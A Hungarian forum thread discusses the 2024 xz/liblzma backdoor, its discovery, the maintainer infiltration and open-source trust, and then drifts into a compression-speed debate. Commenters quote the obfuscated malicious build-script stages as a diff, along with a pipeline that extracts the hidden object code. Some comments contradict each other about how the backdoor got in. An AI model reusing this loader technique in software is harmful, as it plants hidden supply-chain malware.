Backdoor az xz/liblzma csomagban

Security-all

https://www.openwall.com/lists/oss-security/2024/03/29/4

Érdekesség: sem a hivatalos forrásban, sem a github forrás mirrorban nem található meg a backdoor, csak a github release-ben.
Minden olyan distro érintett, ami ez utóbbit használja (például a debian csomag is ebből generálódik).

Ha jól emlékszem, akkor pont ilyenbe bukott bele a sourceforge, ezek szerint ugyanez a sors vár a github-ra? Sourceforge esetében a mirror volt a ludas, kíváncsi vagyok, a github-on hogy kerülhetett bele.

Azt azért meg kell jegyezni, hogy amiben a backdoor-t találták, és amit 2010-ben a kernelbe commitolt, két teljesen külön projekt. Az xz-embedded nem használja a liblzma-t.

Egyébként pár éve rákédeztem nála, azt mondta, azért nem érdekli, hogy szerepel-e maintainer-ként, mert a kóddal nincs gond, működik már 10 éve, nem is kell hozzányúlni.
Gyanítom, hogy most is csak álprofilok unszolására rakatta be a neveket, az unszolásnak meg az volt a célja, hogy "Jia Tan" hitelesebbnek tűnjön.

( locsemege v | 2024. 03. 29., p – 21:10 )

Szerkesztve: 2024. 03. 30., szo – 07:28

Fedoránál kicsit sunnyogós, hogy nincs CVE hivatkozás vagy magyarázat:

* Thu Mar 28 2024 Richard W.M. Jones
- 1:5.4.6-3 - Revert to 5.4.6, bump epoch

* Mon Mar 04 2024 Richard W.M. Jones
- 5.6.0-3 - --disable-ifunc (workaround for 2267598)

* Thu Feb 29 2024 Adam Williamson
- 5.6.0-2 - Rebuild on a side tag to create a coherent update

* Tue Feb 27 2024 Jindrich Novy
- 5.6.0-1 - Rebase to version 5.6.0

* Mon Jan 29 2024 Richard W.M. Jones
- 5.4.6-1 - New version 5.4.6 (RHBZ#2260521) - Fix Source URLs.

tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

( locsemege v | 2024. 03. 29., p – 22:47 )

Időközben Fedora 40-re a hivatalos repóban is megjelent az upgrade, ami tulajdonképpen downgrade. :)

tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Az Arch is azonnal frissített, ennél nem is lett downgrade, ugyanaz a verzió maradt, de növelték 1-gyel a buildszámot, 5.6.1-1 helyett lett 5.6.1-2.

Kész mázli, hogy a régi verziót nem is használtam, így míg benne is volt a backdoor, nem futott le. Ahogy nézem egyébként sem lett volna hatásos, mert csak az sshd-t érinti, azt meg nem használom, illetve az Arch az sshd-ba nem fordítja bele az xz/liblzma-t, illetve a TERM változónak sem szabad lennie definiálva, holott nálam be van állítva.

Ennek ellenére kiakasztó egy gyökérség, megingatja a bizalmat a github-ban. Ez az ára, hogy a Linux népszerűsödik, egyre inkább megéri rá malware-t írni, terjeszteni. Persze, szerveren mindig is domináns volt, de mivel desktopon nem, ezért a hackerektől akkora figyelmet mégse kapott. Most már kap sajnos.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

( XMI | 2024. 03. 30., szo – 05:43 )

Szerkesztve: 2024. 03. 30., szo – 06:46

Kár, hogy a github az egész projektet cakk-pakk letiltotta, pedig megnéztem volna hogy milyen ürüggyel mentek be a commit-ok.

A trükk, hogy az invalid tesztesetek közé dugta be az obfuszkált backdoor object kódot... elismerésem, kreatív megoldás

EDIT: itt van még élő mirror https://git.tukaani.org/?p=xz.git;a=commit;h=cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

"Many of the files have been created by hand with a hex editor, thus there is no better "source code" than the files themselves." - gyönyörű, 10 pontos megoldás. :/ Az illető (akárki is volt valójában) sajnos értette a dolgát. Későbbi commitokkal még fixálgatta is a valgrind figyelmeztetéseket...

Sajnos most tényleg az lesz a fő probléma, hogy ezen kívül még hány másik backdoor lappanghat benne.

Régóta vágyok én, az androidok mezonkincsére már!

en vegolvastam az elemzest, es a forrashoz nem nyultak, a source tgz-ben nincs is benne, a github release-nel ezt generalja mint snapshot. a feltoltott release tarballokban van csak benne, ott is gondosan eldugva, igy a forraskod abban is egyezik a tiszta githubossal, csak a teszt fileok meg a makefile van megmokolva benne.

a github amikor releaset csinalsz general egy snapshotot a forrasbol de enged melle feltolteni tetszoleges fileokat amit nem ellenoriz, csak odarak melle mint egy ftp-re. csak az volt szennyezett, szoval sztem valamelyik project admin gepet/accountjat tortek meg.

> Sajnos most tényleg az lesz a fő probléma, hogy ezen kívül még hány másik backdoor lappanghat benne.

es hany masik projektben lehet hasonlo okossag?

Az első változat univerzáliabb lett volna. :) 

diff --git a/out2 b/out
index 5738843..718dd56 100755
--- a/out2
+++ b/out
@@ -5,6 +5,7 @@ R="is_arch_extension_supported"
 x="__get_cpuid("
 p="good-large_compressed.lzma"
 U="bad-3-corrupt_lzma2.xz"
+[ ! $(uname)="Linux" ] && exit 0
 eval $zrKcVq
 if test -f config.status; then
 eval $zrKcSS
@@ -16,6 +17,23 @@ eval `grep ^build=\'x86_64 config.status`
 eval `grep ^enable_shared=\'yes\' config.status`
 eval `grep ^enable_static=\' config.status`
 eval `grep ^gl_path_map=\' config.status`
+vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
+if test "x$vs" != "x" > /dev/null 2>&1;then
+f1=`echo $vs | cut -d: -f1`
+if test "x$f1" != "x" > /dev/null 2>&1;then
+start=`expr $(echo $vs | cut -d: -f2) + 7`
+ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
+if test "x$ve" != "x" > /dev/null 2>&1;then
+f2=`echo $ve | cut -d: -f1`
+if test "x$f2" != "x" > /dev/null 2>&1;then
+[ ! "x$f2" = "x$f1" ] && exit 0
+[ ! -f $f1 ] && exit 0
+end=`expr $(echo $ve | cut -d: -f2) - $start`
+eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
+fi
+fi
+fi
+fi
 eval $zrKccj
 if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
 exit 0
@@ -138,6 +156,23 @@ sed -i "/$m/i$l" src/liblzma/Makefile || true
 eval $zrKcHD
 fi
 elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
+vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
+if test "x$vs" != "x" > /dev/null 2>&1;then
+f1=`echo $vs | cut -d: -f1`
+if test "x$f1" != "x" > /dev/null 2>&1;then
+start=`expr $(echo $vs | cut -d: -f2) + 7`
+ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
+if test "x$ve" != "x" > /dev/null 2>&1;then
+f2=`echo $ve | cut -d: -f1`
+if test "x$f2" != "x" > /dev/null 2>&1;then
+[ ! "x$f2" = "x$f1" ] && exit 0
+[ ! -f $f1 ] && exit 0
+end=`expr $(echo $ve | cut -d: -f2) - $start`
+eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
+fi
+fi
+fi
+fi
 eval $zrKcKQ
 if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
 exit 0
@@ -166,12 +201,12 @@ Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
 eval $zrKcjv
 if test -z "$Y"; then
 N=0
-W=88792
+W=88664
 else
-N=88792
+N=88664
 W=0
 fi
-xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
+xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
 if ! test -f liblzma_la-crc64-fast.o; then
 exit 0
 fi

Ez a kód is eleve már milyen, rommá van gányolva. Nagyon találó benne a grep -BroaF, szépen összefoglalja, hogy milyen hányingerkeltő az egész, az ilyen káoszba könnyű rosszindulatú kódot rejteni, mert senki nem érti mit csinál, alig lehet kibogozni. Ezért kell a clean kód, hogy érteni lehessen mit csinál, és csak azt csinálja, amit kell neki.

Ennek az xz-nek és a makefile-jának egy szög egyszerű kódnak kéne lennie, hiszen egy CLI megoldásról és egy azon alapuló libről van szó.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Hajnalban abból a leírásból még én sem fogtam fel teljesen, hogy mi is helyzet a tarball-okkal. Csak azt láttam, hogy konkrét commit-okra van hivatkozás (amik persze már nem voltak elérhetőek, ahogy a githubos release tarball-ok sem) -> ebből vontam le a következtetést, hogy valami mégiscsak benn kellett legyen a git-ben.

Ez az azóta publikált leírás (https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27#design) azt mondja, hogy a build-to-host.m4 fileban volt az eltérés tarball-ok között. Ezekszerint a payload benn volt a gitben is a tests directoryban, csak a build folyamatot eltérítő rész nem volt ott. És ráadásul ez is egy elterjedt "szokást" használ ki, hogy az autotools toolchaint használó projektekben a release tarballban nem kell a kályhától indulni autogen.sh-val meg autoconf-fal, hanem rögtön lehet ./configure-ral kezdeni a fordítást. Tudta az illető (illetők), hogy mit csinál... azt kell mondjam, hogy banánhéjon csúszott el...

Régóta vágyok én, az androidok mezonkincsére már!

( sz332 v | 2024. 03. 30., szo – 07:07 )

Ahogy olvasom, nem a github volt a ludas, hanem az egyik kontributor, aki szándékosan tolta bele a backdoor-t. 

Nekem az a bajom, hogy ez jogi értelemben szerintem nem bűncselekmény. Ezeket az ügynököket ilyenkor nem engedik többé nyílt forrású project közelébe? Bár mindegy, kap egy másik személyazonosságot és dolgozik tovább. :(

Mi a megoldás az efféle jelenség ellen?

tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Az egész repót letiltották, senkinek sincs commit joga már. De egy ember volt egyértelműen, ez a bizonyos "Jia Tan" álnevű.

Egyébként meg vehető úgy, hogy bűncselekmény volt amit csinált, a BTK. 287. § szerint legalábbis: az elektronikus adat megőrzésére kötelezéssel érintett adatot jogosulatlan személy számára hozzáférhetővé teszi.

Nem túl egyértelmű a nyakatekert fogalmazás miatt, de azért nem is ördögtől való belelátni, pláne ha azt nézzük, hogy az xz backdoor kifejezetten arra lett kifejesztve, hogy az OpenSSL-be nyúljon bele és az azzal védett rendszert jogosulatlan személy számára hozzáférhetővé tegye.

De a BTK 422. § szerinti tiltott adatszerzés is fennállhat: elektronikus hírközlő hálózat vagy eszköz útján, illetve információs rendszeren folytatott kommunikáció tartalmát titokban kifürkészi.

Én semmiképp sem zárnám ki, hogy akár még bűncselekmény is lehet, amit tett.

Igen, csak nem tudom, mi van a nemzetközi jogban. Az illető állampolgársága vagy tartózkodási helye alapján nézik-e ezt. Online nincsenek határok, fogalmam sincs a jogértelmezéssel.

Az jó, ha letiltották az egészet. Az számomra kérdés, kik azok, akik vizsgálják, vagy RO az egész, akkor bárki, születik valami konszenzus arról, pontosan mi történt, majd utána megnyitják a projectet, gondolom. Mert nyilván ez egy aktív, fejlődő project, magam is gyakran használom az xz-t.

Eléggé kínai hangzású ez a név.

tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Szerintem nincs para (itt most legalábbis), nem a projektet zárolták.
Ez csak a github mirror, amit letiltottak, a hivatalos xz forrás továbbra is él és virul; valamint abban egyébként sincs benne a backdoor (az kifejezetten a github által futtatott tesztkörnyezet helyezte bele, és csak a github release-ben volt megtalálható).

Vagy ezeket cserélte le a releaseben?

Egyik sem.

Ha jól értem, akkor az van, hogyha csak letöltöd és simán lefordítod az xz-t, akkor az rendben van, backdoor mentes marad. Ellenben ha a github CI által is használt release szkriptet használod a fordításhoz, az előbb lefuttatja a teszteket, ekkor viszont a gyári configure szkript lecserélődik egy olyanra, ami a végeredménybe belerakja a backdoor-t.

Az általad linkelt commit-ok csupán csak olyan tesztfájlokat adnak hozzá, amik a hekkhez szükséges obfuszkált adatokat tartalmazzák. Önmagukban semmi jelentőségük, a módosított configure szkriptre is szükség van, hogy a belőlük kinyert adattal kezdjen is valamit (ami a tesztek futtatása során történik meg). A sima (első lépésben nem módosított) szkript futtatásakor ezek csupán csak tesztadatokként szolgálnak, és a beléjük rejtett okosságot semmi sem használja fel.

azert a hack terjeszteshez az is kellett, hogy a debian/watch fajl is "hibas" legyen: ez a fajl segiti a maintainert (vagy a scriptet) hogy honnan kell letolteni az uj upstream verziot: ahogy latszik az xz-nel a project siteja van megadva (amibe beleraktak a modositott configure-t). pl az openjdk-nal a github tags van beallitva amit a github rendszer live general a git tag alapjan.

A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

Sőt, a fenti idővonal leírás alapján megkockáztatom, ez jól szervezett csapatmunka volt. Annyi "supporting actor" tűnik fel a történetben, és a "Jia Tan" nevű karakter annyi időn keresztül intenzíven dolgozta be magát az xz maintainerségbe, hogy szinte biztos, hogy ez nem egyetlen személy magánakciója volt. Ez alatt a 2-2.5 év alatt ez(ek) az ember(ek) meg is élt(ek) valamiből, úgyhogy biztos hogy valaki fizetett is ezért az akcióért.

Régóta vágyok én, az androidok mezonkincsére már!

Ez a hiba független a nyílt forrástól. Bármilyen kódba be lehet vinni ilyeneket úgy, hogy az sokáig észrevétlen marad. Sőt, ha az üzemeltetett infrába viszik be a trójai falovat, akkor meg aztán még nehezebb a helyzet. A "megbízható IT" egy nagyon nehéz terület, szinte senki se foglalkozik vele. Szerintem.

Univerzális megoldás? Az nincs. De vannak támogató eszközök az ilyen hibák előfordulási esélyének csökkentésére: folyamatos CR, statikus kódelemzés, audit, refaktorálás stb.

Talan az elso es legfontosabb, hogyha az ember ir egy programot akkor fuggjon <50 librarytol (de inkabb<10).

 

A irsz egy random node.js alapu projektet, akkor a dependencyje az ilyen 1000-es nagysagrendu. Ez akkora tamadasi felulet hogy kb. kivedhetetlen.

Saying a programming language is good because it works on all platforms is like saying anal sex is good because it works on all genders....

Az i-re azt tette fel a pontot, amikor sikerult egy olyan node.js projektet eloadni, ami egyetlen egy sorbol allt, a tobbi korites volt (package.json, license, readme, stb).

 

Az igazi hab a tortan, amikor kibukott hogy ez az egy sor is bugos.

Mar nem emlekszem a projekt nevere, de a 1 sorban is bug van miatt bukott ki.

Saying a programming language is good because it works on all platforms is like saying anal sex is good because it works on all genders....

Pont ezt beszélgettük a héten a security-s sráccal hogy olyan mennyiségű libet használnak a fejlesztő srácok pont a javascript-es világ miatt, hogy esély nincs arra hogy ezt bárki átnézze security szempontból, szóval valószínűleg teljesen máshogy kell hozzáállni a témához.

Ez a hiba független a nyílt forrástól. Bármilyen kódba be lehet vinni ilyeneket úgy, hogy az sokáig észrevétlen marad.

Nem értek egyet. Nyílt forráskód esetén az ilyenek pikk-pakk kiderülnek, mint ahogy itt is azonnal kiderült és orvosolva lett.
Egy proprietary kód esetén ugyanis még az is lehet, hogy a reverse-engineering jogilag tiltott, és nem is kereshette volna, hogy mitől lassú. És akkor még arról nem is beszéltünk, hogyha meg is van, hogy és mikor lesz eltávolítva a kártékony kódrészlet.

Univerzális megoldás? Az nincs.

De van, ellenőrzött forrásból kell helyben fordítani, és nem 3rd party binárisokat letöltögetni. Legalábbis az ilyen "forrásban nincs benne, csak a release-ben" jellegű problémák ellen megvéd, persze korántsem kézenfekvő a legtöbb esetben ezt megoldani. Emlékszem, anno amikor még Gentoo-ztam, minden forrásból települt, de több nap volt a LibreOffice-t, Firefox-ot meg összes programot feltelepíteni...

Szerintem tök véletlen volt, hogy kiderült :) Amitől meg lassú volt, az object code volt, szépen kiszedhető a teszt állományokból.

xz -dc tests/files/good-large_compressed.lzma | ((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939) | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream  > liblzma_la-crc64-fast.o

A manyeyeballs meg hiába nézegette volna az új bináris teszt állományt  :)

Nyílt forráskód esetén az ilyenek pikk-pakk kiderülnek,

 

Azert ne maszatoljunk. Nyilt forrasnal is emberek vannak, akil vagy megtalaljak vagy nem.

 

Ebben a konkret esetben egy embernek tunt fel aki profilingolt, hogy mi a toktol lassu az sshd. Ha a backdoorban odafigyeltek volna erre, hogy masodpercenkent, percenkent es orankent max mekkora cpu idot kanyarithat (es halozatot es egyeb resourcet), akkor kb. soha senkinek se tunt volna fel.

 

Itt konkretan a backdoor kiakadt es 100%-on hasznalt egy cpu core-t es ez tunt fel.

 

Ha erre odafigyelnek ez a backdoor 10evig el lett volna minimum. Foleg ha meg a backdoor fejlesztoje egyeb fejlesztest is letesz az asztalra.

Saying a programming language is good because it works on all platforms is like saying anal sex is good because it works on all genders....

Azert ne maszatoljunk.

Nincs maszatolás. Szerinted eleve hányan állnának neki nyomozni egy proprietary cucc, mondjuk a Windows belassulása miatt? Már ha egyáltalán legálisan megtehetik, ugyanis pl. a Microsoft esetében volt már olyan EULA, hogy tilos a performanciamérés... És ahogy fentebb is jelezték, ott eleve csak fizetett programozók nyúlhatnak hozzá a forráshoz, tehát abba akkor kerül ilyen, ha az a cég érdeke. (Most ne menjünk bele, hogy törvényi előírás a CIA backdoor megléte.)

Véletlen volt, persze, hogy kibukott, na de egy proprietary kód esetén még csak esély sem lett volna erre a véletlenre.

Foleg ha meg a backdoor fejlesztoje egyeb fejlesztest is letesz az asztalra.

Nem tett. 3 évvel ezelőttig se híre, se hamva ennek az illetőnek. Én biztos, elhajtottam volna a fenébe, és nem adok neki admin jogot.

Volt egyébként nálam is nagyon hasonló próbálkozás több is, ráadásul időben is pont azután, hogy együtt dolgoztam Lesse-vel és sűrűbben leveleztünk (2021 elején - közepén). Érkezett admin jogosultság kérés is egyik-másik repómra, meg mindenféle gyanús patch (nem issue vagy PR, amit mindenki láthat, hanem emailben jött ismeretlen címről, ami eleve gyanús). Három módosításból kettő lényegtelen és felesleges makróoptimalizáció, de rendben volt, az utolsó viszont sunyiba behozott egy buffer-overflow-t és potenciális végtelen ciklust. Bár nem láttam, hogy hogyan lehetne kihasználni, de mindesetre gyanús volt, így jobbnak láttam elhajtani. Ha kíváncsi vagy a részletekre, elő tudom keresni a levelet.

Szóval ja, résen kell lenni, ha open source projekteket visz az ember.

Résen van :)

2 hours ago    Lasse Collin    CMake: Fix sabotaged Landlock sandbox check. master  
---- 
2024-02-26    Jia Tan    Build: Fix Linux Landlock feature test in Autotools...  

https://git.tukaani.org/?p=xz.git;a=history;f=CMakeLists.txt;hb=f9cf4c0…

Csak kicsit megkésve...

Ez részben igaz. Egy property fejlesztésű könyvtárnál/rendszernél pontosan kontrollálva van hogy ki tud belecommitálni a kódba. Nem egy random nick, hanem egy konkrét alkalmazott, akiről minden adat megvan illetve jó esetben minden kódot átnéznek és egyszerűen nem fogják elfogadni a PR-t. Ha pedig van normális security a cégnél akkor van egy elvileg folyamatba épített security vizsgálat is. egy open source projektbe ez a kontroll nem garantált, vagy van, vagy nincs, vagy megnézi valaki, vagy nem.

Nem értek veled egyet.

A nyílt forráskód nem garancia a hibamentességre. Annyi előnye van, hogy nagyobb az esélye, hogy kiderül a hiba / sebezhetőség. Csak hogy egy durva hibát említsek, ami 27 évig volt láthatatlan: https://www.theregister.com/2014/12/10/x_window_system_bugs

Ellenőrzött forrás. Nagyon nehezen megválaszolható kérdés, hogy mitől lesz valami ellenőrzött, kiben bízunk / bízhatunk meg. Az SHA256 checksum már elég? Netalán a belső security team fog saját verziót buildelni? Esetleg valaki soronként átnézi a kódot, majd buildel és megpörgetik fuzz teszten 1-2 hónapig? Netalán CC EAL 5+ plecsnis szoftvereket telepítünk csak?
Szóval nagyon nem triviális erre válaszolni szerintem.

Az EU-nak például ilyennel nem ártana foglalkoznia, hogy rendszeresen auditál(tat) általánosan használat libeket. Egy xz-nél egyéreltelmű volt a koncepció, hogy miért a surranópályával próbálkoztak. A nagy kérdés, hogy vajon hány ilyen van még, és mennyire sikerült beszivárogni az openszorszba. Ezzel egyébként sikerül a belé vetett bizalmat is aláásni, mert hiába adja  licensz, hogy AS IS a történet, azért elég bátran használatban van.

Volt ilyen régen: https://joinup.ec.europa.eu/collection/eu-fossa-2

Meg talán ez is ilyesmi, csak ez nem EU-s: https://www.sovereigntechfund.de/

Szerintem inkább a Linux Foundationnek kellene megtalálnia azokat a projekteket, amik elég fontosak, hogy financiálisan is meg legyenek támogatva. Senkinek sem jó, ha kiégnek a maintainerek.

Itt mint EU-s jogszabály, meg bevezetés van. Mivel ez nem pusztán magyar vonatkozású, ezért EU szinten, mint saját magunk dolga kellene ezt kezelni. Hogy aztán van mondjuk másegyéb hasonló, és esetleg egymásnak segítenek, hát mégjobb.

Egy A/4-es random kft-nek mennyi tudása, és erőforrása lesz egy ilyenre? Puff vesznek egy Windowst és nem érdekli őket tovább, illetve felhőileg se fognak Linuxot használni.

A Many eyeballs olyan mint a pénz. A pénz sem boldogít, különösen, ha nincs.

Itt is ez volt a baj. Szerencsétlen (saját bevallása szerint eléggé kiégett) Lasse Collin két szeme volt az egyetlen kontroll. És a Jia Tan nevű account tulajdonosa (akárki is van mögötte), 2,5 év munkával szépen fokozatosan elaltatta Lasse Collin éberségét.

Régóta vágyok én, az androidok mezonkincsére már!

( hajbazer v | 2024. 03. 30., szo – 14:41 )

Kellett a CPU-bloat xz-t defaulttá tenni mindenhol, azért a max. 10%-kal jobb tömörítési arányért, amennyit hoz a nála jóval erőforráshatékonyabb gzip-hez képest, a gigabites internetkapcsolatok világában. Cserébe 2x annyi CPU idő kell a kitömörítéshez és 13x annyi a betömörítéshez és most már ajándék rootkit is jár hozzá.

Well done, babzsákfejlesztők.

Megéri™

2x annyit fizetsz, ha gzip-pel tömöríted? Nem. Maximum 1,1x fizetsz többet.

A felhasználóid és a bolygó viszont 2x annyi villanyszámlát (tehát 100%-kal többet) fizet kitömörítéskor és ha egy szálon vagyunk, akkor időben is 2x ennyit. Tényleg megérte™ azért a 10%-ért, főleg, hogy az adathordozók és az adatforgalom ára is többet csökken évente.

Ez semmi más, mint a költségek kiszervezése externáliákba és arroganciának hívják.

a peldad ott santit, hogy a hattertar konnyen nagysagrendekkel lassab, mint a cpu. es akkor a halozati transzferrol nem is beszeltunk. tehat a 10%-kal tobb adat atlapatolasa/ramba lapatolasa boven lehet tobb idotobblet(az adat tartolasahoz is kell delej... cost, stb.), mint 2x cpu cycle. :)

Gyengébbek és dorsyka kedvéért: Ha xz-vel tömörített anyagot olvasol, akkor 53 MB/s-kel olvasol. Ha gzip-pel tömörítettet, akkor 95 MB/s-kel. A konkrét értékek kevésbé számítanak, a köztük lévő arányszám viszont mindenhol igaz lesz. Az az idealizmus, amit erőltetsz, az első SSD-ről indított UPX packerrel csomagolt, minden induláskor 100% exta CPU-t elzabáló és másodpercekig szöszmötölő (upx.exe-vel kicsomagolva pedig azonnal induló) binárisnál megbukott, nagyjából egy évtizede.

https://www.rootusers.com/gzip-vs-bzip2-vs-xz-performance-comparison/

Semmi, de semmi értelme nincs 10% tömörítési arányért +100% CPU-t beáldozni. Az ég világon semmi. Főleg nem az open-source világban, ahol szponzorált mirrorokról jön minden, így fix 0 Ft költsége van nekik a projektek felé.

Igazad van, én csak arra reflektáltam az eredeti problémától függetlenül, hogy nem állja meg a helyét az az érvelés, hogy 10%-ért nem éri meg a több erőforrás használat. 10%-ért valóban elgondolkodtató lenne, hogy megéri-e, csak rohadtul nem 10%-al jobb az xz.

A tudomány és a hit vitája akkor eldőlt, amikor villámhárítót szereltek a templomokra.

Sima txt-nél lehet akár 2x kisebb a méret az xz javára.

A probléma a "lehet"-tel és az "akár"-ral van, mert az utána írtak a valóságtól igen távol állnak. Vagy 2x helyett valójában 20%-ot akartál írni?

~ # time gzip lotr.txt
real    0m 0.49s
user    0m 0.48s
sys     0m 0.00s

~ # time xz lotr.txt 
real    0m 3.32s
user    0m 3.23s
sys     0m 0.07s

~ # ls -l
-rw-r--r--    1 root     root       1232639 Mar 30 21:31 lotr.txt.gz
-rw-r--r--    1 root     root        978528 Mar 30 21:31 lotr.txt.xz

~ # bc
bc 1.36.1
Adapted from https://github.com/gavinhoward/bc
Original code (c) 2018 Gavin D. Howard and contributors
(1-978528/1232639)*100
21

Tesztfájl: https://raw.githubusercontent.com/wess/iotr/master/lotr.txt

rohadtul nem 10%

Kevert tartalomnál, ami jellemző az összes binárist is tartalmazó csomagra, a különbség rohadtul maximum 10%. Kizárólag plaintext esetén van meg a 21%. Még mielőtt tovább lépnél a kötekedésben, nem-nem, a -9 -es kapcsoló sem módosít az aránykülönbségen.

ne zavard mar ossze valo eletbol vett peldakkal, meg a vegen infinite loopba kerul! :)
 

dorsy@amd64:~$ ls -l firefox*
-rw-r--r-- 1 dorsy dorsy 800342390 Mar 22 22:04 firefox_124.0.1.orig.tar.gz
-rw-r--r-- 1 dorsy dorsy 581773692 Mar 22 22:04 firefox_124.0.1.orig.tar.xz
dorsy@amd64:~$ ls -l gimp*
-rw-r--r-- 1 dorsy dorsy 31385704 Mar 31 12:47 gimp-GIMP_2_99_18.tar.bz2
-rw-r--r-- 1 dorsy dorsy 41795751 Mar 31 12:47 gimp-GIMP_2_99_18.tar.gz
-rw-r--r-- 1 dorsy dorsy 25368748 Mar 31 12:47 gimp-GIMP_2_99_18.tar.xz

mondjuk akinek ingyen van a tarhely, annak gondolom mindegy :D

Nem tudom min készült. Alapból az xz és a gzip -0 ... -9-es fokozatok közül a 6-osat használják, de ha tömörítési fokot tesztelnek, akkor érdemesebb felvenni mindkettőt -9-re, ha meg a sebességet tesztelik, akkor meg -1-re.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Azért azt vedd figyelembe, hogy az xz jobban tömörít sokkal a legtöbb esetben, amennyivel lassabb, annyival meghálálja a helynyereséggel, és az esetleges hátrányát tudja kompenzálni azzal is, hogy támogat többszálú betömörítést. A gzip nem tud, igaz annak van a pigz nevű forkja, amit tud. Kitömörítési időben nincs nagyon közöttük különbség.

Ha neked a sebesség a fontos, akkor a zstd-t, és az lz4-et ajánlom. Az lz4 elvileg gyorsabb elméletben, de megint csak egy szálat támogat, a zstd viszont többet, így visszanyeri a vezetést sebességben, és még alacsonyabb tömörítési fokozaton is jobban tömörít, mint a gzip. A gzip inkább legacy felhasználásra van, meg pl. muzeális gépen, meg kevés RAM-nál lehet előnye.

Egyébként büszke vagyok rád, hogy shellkimenetet tettél be, és nem XP-s screenshotról mutogatsz :D Gyanús vagy te nekem, hogy suttyomban te is elkezdtél linuxozni, csak senkinek nem vallod be :P

Lemértem, a lotr.txt tömörítésében az lz4 a leggyorsabb, aztán a zstd. Mivel plain text file, sok ismétlődéssel, ezért az xz/lzma-nál jobban tömöríti az 7zip -mx=9 -mm=ppmd és a bzip2 -9 is, mert ezek ebben a műfajban erősek. A nanozip még jobban tömörít, de elavult, a paq8/zpaq meg a legjobban, de az olyan lassú, hogy életszerűtlen a használata.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

